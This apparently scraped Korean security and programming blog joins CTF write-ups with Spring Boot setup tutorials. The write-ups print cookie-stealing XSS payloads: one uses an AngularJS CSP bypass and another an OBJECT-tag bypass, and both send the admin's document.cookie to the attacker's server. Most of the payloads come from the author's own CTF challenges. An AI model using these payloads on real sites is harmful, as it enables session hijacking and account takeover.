안녕하세요. HolyShield CTF 2019에서 웹 분야 Hidden Board, Rectangular, For Boss 문제를 출제한 P4rkJW 입니다.

 

원래는 HolyShield CTF Writeup 기간이 끝나고 바로 관련된 풀이를 올려드리려고 했지만, 여러가지 일들이 겹쳐서 도저히 시간이 안나서 현재 늦은 시간에라도 풀이를 올리고자 합니다. 다른 풀이들은 이번 주말 내로 최대한 업로드 할 계획입니다!

 

우선적으로 제가 Rectangular 풀이를 올려드리겠다고 약속 드린 해당 문제 먼저 풀이를 적어드리겠습니다. 

 

해당 문제는 Angular.js 1.x.x 를 이용한 CSP Bypass 문제입니다. 게시글에 CSP를 우회하는 XSS Payload를 작성하면 어드민이 해당 게시글을 읽고, 쿠키 값의 Flag를 탈취 하는 문제입니다.

 

Blackhat 2017 Blackhat 2017 - Breaking XSS mitigations via Script Gadgets

https://www.blackhat.com/docs/us-17/thursday/us-17-Lekies-Dont-Trust-The-DOM-Bypassing-XSS-Mitigations-Via-Script-Gadgets.pdf

SECUINSIDE 2017 - Bypassing Web Browser Security Policies

http://secuinside.com/archive/2017/2017-1-5.pdf

 

Content-Security-Policy:" default-src 'self'; object-src 'none'; script-src 'self' https://ajax.googleapis.com/ajax/libs/angularjs/

 

 

해당 CSP를 확인하면, "https://ajax.googleapis.com/ajax/libs/angularjs/" 에서 임의적으로 angular.js 를 불러 올 수 있는 것을 확인 할 수 있습니다.  그 이외는 내부에서 CSP를 우회하여 어드민의 쿠키 값을 읽을 수 없습니다. 

 

<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.2.2/angular.min.js"></script>
</script> <script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.2.2/angularcookies.js"></script> 

 

angular.js 의 버전은 여기서 크게 상관이 없습니다. 1.x.x 버전이면 가능하고 쿠키 탈취를 위해서 angularcookies.js도 같이 호출 시켜주셔야 합니다. 하지만 위와 같이 외부에서 angular.js의 파일만 가져와서는 쿠키 탈취를 전혀 할 수 없습니다. 그래서 내부에서 임의적으로 로그인 할 때, 사용되는 login.js를 이용하시면 됩니다.

 

login.js 의 소스

더보기

var app = angular.module('abc', ['ngCookies']);
   app.controller("login", ['$scope', '$cookieStore', '$window', 
       function($scope, $cookieStore, $window) {
         $scope.value = $cookieStore.get("FLAG") || "Nope";
         $scope.getValue = function(iV) {
             $scope.value = $cookieStore.get(iV);
         };
         $scope.putValue = function(iV) {
             $cookieStore.put("FLAG", "Nope");
         };
         $scope.locate = function(iV){
             $window.location.href = iV;
         };
         $scope.locate_data = function(iV, data){
             $window.location.href = iV + data;
         };
    }
}]);

 

 

해당 login.js 부분을 이용하여, 쿠키 탈취가 가능합니다. 해당 부분은 다양한 Payload가 작성이 가능합니다. 실제로 Writeup을 확인했을 때, 다양한 Payload를 확인 할 수 있었습니다.

 

- 예시의 Payload

<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.2.2/angular.min.js"></script>
</script> <script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.2.2/angularcookies.js"></script> 
<​div​ ng-app​=​"abc"​>
<​div​ ng-controller​=​"login"​>
 {{ locate_data(URL, value) }}
 </​div​> 
</​div​> 
<​script​ ​src​=​"/login.js"​></​script​>

 

URL 부분에 본인의 서버를 작성하시면, 어드민이 글을 읽었을 때 쿠키 탈취가 가능합니다. 

 

 

HS{Let's_Play_Angular_Buster}

홈페이지에 접속하면 다음과 같은 페이지를 확인 할 수 있다.

 

해당 부분은 textarea 의 태그를 닫고 XSS에 대한 Payload를 작성한다.

 

해당 XSS가 잘 입력되어 alert가 발생하는 모습이다.

 

하지만, safe_view=1가 작동되면, 해당 스크립트는 동작하지 않는다. 

추가적으로, 해당 게시글을 작성하면서 스크린샷을 잘못 찍었는데, 정상적으로 safe_view의 인자가 존재하면 스크립트가 제대로 작성이 되지 않는다.

 

OBJECT 태그를 이용해서 Safe_view의 XSS 우회를 진행했다.

 

safe_view=1 를 우회하여 alert를 띄웠다.

 

 

Response Header 를 통해 CSP를 확인 할 수 있다.

 

Content-Security-Policy : script-src 'self'; 를 통해서 해당 문제에서 CSP를 우회해야 한다는 것이 핵심이였다. 스크린샷에는 첨부가 안되었지만, CSP-Evaluator를 통해서 object-src is missing 을 확인하였다.

 

쿠키탈취를 하는 XSS Payload 를 작성한다.

 

해당 스크린샷도 잘못 첨부 되었다. CTF Write up을 제대로 작성해 본 적은 처음이라 실수가 잦았는데, 다음부터는 조심해야겠다. 다음과 같이 'http://서버의 주소/?+'document.cookie 를 통해 쿠키 탈취 XSS Payload를 작성한다.

 

 

쿠키 탈취를 하는 XSS Payload를 작성하는 게시글을 DATA인자에 CSP를 우회가 가능하다. 그 후에 Send 를 하게 되면 admin이 확인을 하게 된다.

 

다음과 같이 관리자의 쿠키를 탈취 할 수 있다.

 

메인 페이지에서 secret.php가 있는 것을 확인 할 수 있다.

 

secret.php 가 존재 하는 것을 확인하고 .secret.php.swp 파일을 다운받아서, secret 파일의 소스를 확인 할 수 있다.

 

 

의미 없는 앞의 값을 제거한 페이지 소스코드 있다.

 

secret.php 의 swap 파일을 통해서, 플래그 파일의 위치를 확인 할 수 있다. 52.78.85.107/admin.phar/flag에 플래그 파일이 존재한다는 것을 확인 할 수 있다.

 

 

탈취한 관리자 쿠키를 생성하여 입력해준다.

 

 

FLAG : FLAG{w0000h_RainbowReflect_PHP

  1. 2019.09.09 17:57

    비밀댓글입니다

    • 2019.09.11 12:10

      비밀댓글입니다

해당 문제에서 다음과 같은 Flask 소스코드를 확인 할 수 있다.

 

해당 부분에서 주목해서 봐야 할 점은 clear_user 부분인데, 이 부분에서 유저에 대한 정보를 어드민의 정보로 덮는다.

 

 

해당 부분에서 forget 부분에서 clear_user 함수가 실행이 된다.

 

forget 부분에서 다음과 같이 해당 부분이 맞으면, 패스워드를 새로 생성하고, clear_user 함수를 실행시킨다. 그러면 우리가 봐야 할 점은 이 부분이라는 것이다.

 

 

해당 사이트의 가입 부분은 다음과 같다.

 

일단 해당 사이트에서 다음과 같이 가입을 한다. 특히, 아이디와 E-mail 부분은 뒤에 나올 인증 부분은 앞에서 나온 email과 username을 비교해서 확인 하기에 기억을 해야한다.

 

 

FLAG를 확인하기 위해서는 다음과 같은 첫 번째 글을 읽어야 하나, 조회가 되지 않는다.

 

내가 작성한 글은 확인이 가능하다.

 

해당 부분은 소스코드에서도 확인이 가능하다.  본인이 작성한 글은 확인이 가능하지만, 타인의 글은 조회가 되지 않는다. 즉, 우리는 admin의 아이디를 통해서 admin이 작성한 첫 번째의 글을 읽어야 하는데, 아까 언급한 것과 같이 forget 부분을 이용한다.

 

 

forget부분을 이용하기 위해서, 다음과 같이 임의적으로 브라우저 2개를 띄워둔다.

 

forget부분은 패스워드를 재 설정하는 Reset Password 인데, 패스워드를 다시 설정하면 admin 의 계정으로 덮어버리기 때문에 Reset Password에 해당 계정 정보를 입력하면, 오른쪽의 먼저 로그인 해둔 계정은 admin의 계정이 되버린다.

 

 

다음과 같이 FLAG를 확인 할 수 있다.

 

Flag : FLAG{N0t_s3cur3_4t_411}

Oracle SQL Injection 을 공부하고 정리하여 만든 문서입니다.

Oracle_SQL_Injection_P4rkJW.pdf
0.56MB

'Hack > Web Hacking' 카테고리의 다른 글

Oracle SQL Injection  (0) 2019.08.17

저번에 우리가 했었던 것은 정적 리소스를 이용한 것이였다.

 

이번에 해볼 것은 Spring Boot MVC 구조인데, MVC구조는 확정성이 높고 유지보수에 대한 부분이 굉장히 뛰어납니다. 그렇기 때문에, Spring Boot 에서 MVC 패턴을 적극적으로 활용하는 것이 좋기때문에, 오늘은 MVC 패턴을 활용해서 jsp view를 띄워보는 것을 해볼 것 입니다.

 

기존의 spring-boot에서 추가했었던 spring-boot-starter-web으로는 jsp의 구동이 불가능합니다. 그렇기 때문에, 우리는  dependency를 추가하여, jstl과 jasper을 추가해줍니다.

pom.xml에 다음과 같은 내용을 추가합니다.

    <!-- JSTL tag lib -->
    <dependency>
      <groupId>javax.servlet.jsp.jstl</groupId>
      <artifactId>javax.servlet.jsp.jstl-api</artifactId>
      <version>1.2.1</version>
    </dependency>

    <dependency>
      <groupId>taglibs</groupId>
      <artifactId>standard</artifactId>
      <version>1.1.2</version>
    </dependency>

    <!-- Tomcat for JSP rendering -->
    <dependency>
      <groupId>org.apache.tomcat.embed</groupId>
      <artifactId>tomcat-embed-jasper</artifactId>
      <scope>provided</scope>
    </dependency>

 

application.properties는 Spring Boot의 설정파일이다. 해당 파일에서, 경로인 prefix와 파일 확장자인 suffix를 수정해준다.

 

src/main/resources/application.properties를 다음과 같이 작성합니다.

spring.mvc.view.prefix = /WEB-INF/views/
spring.mvc.view.suffix = .jsp

 

Spring MVC 에서 요청받은 응답은 Dispatcher Servlet에서 모두 응답을 받고 Controller로 위임을 합니다. 우리는 그 Controller 파일을 작성할 것입니다.

 

다음과 같은 내용으로, Controller java파일을 작성합니다.

package com.p4rkjw;

import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;

@Controller
public class HelloController {

   @RequestMapping("/")
   public String index() {
      return "index";
   }   
   
   @RequestMapping("/hello")
   public String sayHello(@RequestParam("name") String name, Model model) {
      model.addAttribute("name", name);
      return "hello";
   }
}

 

그리고 다음으로 view 인 JSP를 작성한다.

<%@ page language="java" contentType="text/html; charset=ISO-8859-1" pageEncoding="ISO-8859-1"%>
<%@ taglib uri="http://java.sun.com/jsp/jstl/core" prefix="c"%>
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
<title>Spring Boot</title>
</head>
<body>
<h1> Hello ${name}</h1>
</body>
</html>

 

그리고 

 

mvn spring-boot:run 을 통해, 실행을 해주면 다음과 같이 JSP가 정상적으로 실행 되는 것을 확인 할 수 있다.

 

 

※ 필자의 실습환경은 CentOS 7.3 임을 알립니다.

정적 리소스는 4가지 

- /static

- /public

- /resources/

- /META-INF/resources

 

정적 리소스는 일반적으로 가장 많이 사용하는 static을 사용하고, 나는 이를 이용 할 것이다.

mkdir ./src/main/resources/static

 

다음과 같이 폴더를 만들고, 해당 폴더안에 다음과 같은 HTML 파일을 작성한다.

 

<html>
 <head>
  <title>Hello Static Resources</title>
 </head>
 <body>
   <h1>Hello! P4rkJW</h1>
 </body>
</html>

 

작성후, spring-boot를 실행시켜 준다.

 

 

 

 

추가적으로, Spring Boot에서 정적 리소스를 활용하여, 웹 페이지를 로드 할 때 304로 반환하는 경우를 많이 확인 할 수 있다. 이는, HTML파일을 수정 할 때 서버측에서 최종 변경 시간을 Last-Modified에 기록한다. 그리고 브라우저에서는 HTML을 처음 받을 때 200 응답코드를 받는다. 이 때, If-Modified-Since 에 해당 시간을 저장하는데 이 두 개의 헤더를 비교하고 같으면 다른 변경이 없었다는 의미이므로 304 응답코드를 보내며, 캐시화 된 파일을 보여준다.

 

Status 200

Last-Modified 와 If-Modified-Since 와 비교를 해서 이 시간이 다르면, Status 200 으로 응답코드를 반환한다.

 

Status 304

Last-Modified 와 If-Modified-Since 와 비교를 해서 이 시간이 같으면, Status 304 으로 응답코드를 반환한다.

※ 필자의 실습환경은 CentOS 7.3 임을 알립니다.

저번시간에 Spring Boot를 사용하기 위해서 Java와 Maven을 설치하는 환경 설정 과정을 마쳤다. 

이번에는 직접 Spring Boot를 이용해서 Hello World를 출력 해 볼 것이다.

 

 

Maven은 pom.xml의 빌드 파일을 사용하여 빌드 정보를 기술하여, 이를 이용해서 프로젝트를 만들거나 기술이 가능하다. 

pom.xml 작성을 위한 디렉토리 생성 및 작성 

mkdir /usr/local/home/demo
cd /usr/local/home/demo
vi pom.xml

 

다음과 같은 내용으로 pom.xml 작성한다.

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>com.p4rkjw</groupId>
    <artifactId>myproject</artifactId>
    <version>0.0.1-SNAPSHOT</version>

    <parent>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-parent</artifactId>
        <version>1.3.2.RELEASE</version>
    </parent>

    <dependencies>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
        </dependency>
    </dependencies>
    
</project>

 

 

Java 파일 생성을 위한 명령어

mkdir /usr/local/home/demo/src/main/java
vi p4rkjw.java

 

 

다음과 같은 내용으로 p4rkjw.java 작성한다.

import org.springframework.boot.*;
import org.springframework.boot.autoconfigure.*;
import org.springframework.stereotype.*;
import org.springframework.web.bind.annotation.*;

@RestController
@EnableAutoConfiguration
public class p4rkjw {

    @RequestMapping("/")
    String home() {
        return "Hello World! P4rkJW!";
    }

    public static void main(String[] args) throws Exception {
        SpringApplication.run(p4rkjw.class, args);
    }

}

 

이제 Maven으로 빌드 후 실행을 시켜주면 된다.

mvn spring-boot:run

 

 

다음과 같이 Hello Wolrd! P4rkJW! 가 출력된다.

 

 

※ 필자의 실습환경은 CentOS 7.3 임을 알립니다.

Spring Framework에 대한 실습을 오늘부터 시작하고자 한다. 

 

 

Spring Boot 설치를 위해서는 Java와 Maven의 설치와 환경설정이 필요하다. 사실 Gradle 과 Maven 두 가지는 Spring을 시작 할 때 많이 사용하는데, 제일 최근에 나온 것이 Gradle다. 빌드 능력이나, 성능면에서는 Maven이 부족하지만 더 많은 자료가 존재하고 익숙하기 때문에 사용하는 이유로 Maven을 사용 할 것이다.

 

Java 설치하기

wget http://download.oracle.com/otn-pub/java/jdk/8u131-b11/d54c1d3a095b4ff2b6607d096fa80163/jdk-8u131-linux-x64.tar.gz

Java 압축해제 & 파일 이동

tar -xvzf jdk-8u131-linux-x64.tar.gz
mkdir /usr/java
mv jdk1.8.0_131/* /usr/java/jdk1.8.0_131

 

 

Java 환경 설정 

vi /etc/profile

export JAVA_HOME=/usr/java/jdk1.8.0_131
export PATH=$JAVA_HOME/bin:$PATH
export CLASSPATH=$CLASSPATH:$JAVA_HOME/jre/lib/ext:$JAVA_HOME/lib/tools.jar

해당 내용을 추가 후, 적용을 위해 source /etc/profile을 진행합니다.

 

Java 버전 확인

java -version

 

 

Maven 설치하기

wget http://mirror.navercorp.com/apache/maven/maven-3/3.5.4/binaries/apache-maven-3.5.4-bin.tar.gz

 

Maven 압축해제 & 파일 이동 

tar -xvzf apache-maven-3.5.4-bin.tar.gz
mkdir /usr/local/maven
mv apache-maven-3.5.4-bin.tar.gz/* /usr/loca/maven

 

Maven 환경 설정 

vi /etc/profile

export M2_HOME=/usr/local/maven
PATH=$PATH:$JAVA_HOME/bin:$M2_HOME/bin

해당 내용을 추가합니다. 그 후, 적용을 위해서 source /etc/profile을 진행합니다.

 

Maven 버전 확인

mvn -version

 

+ Recent posts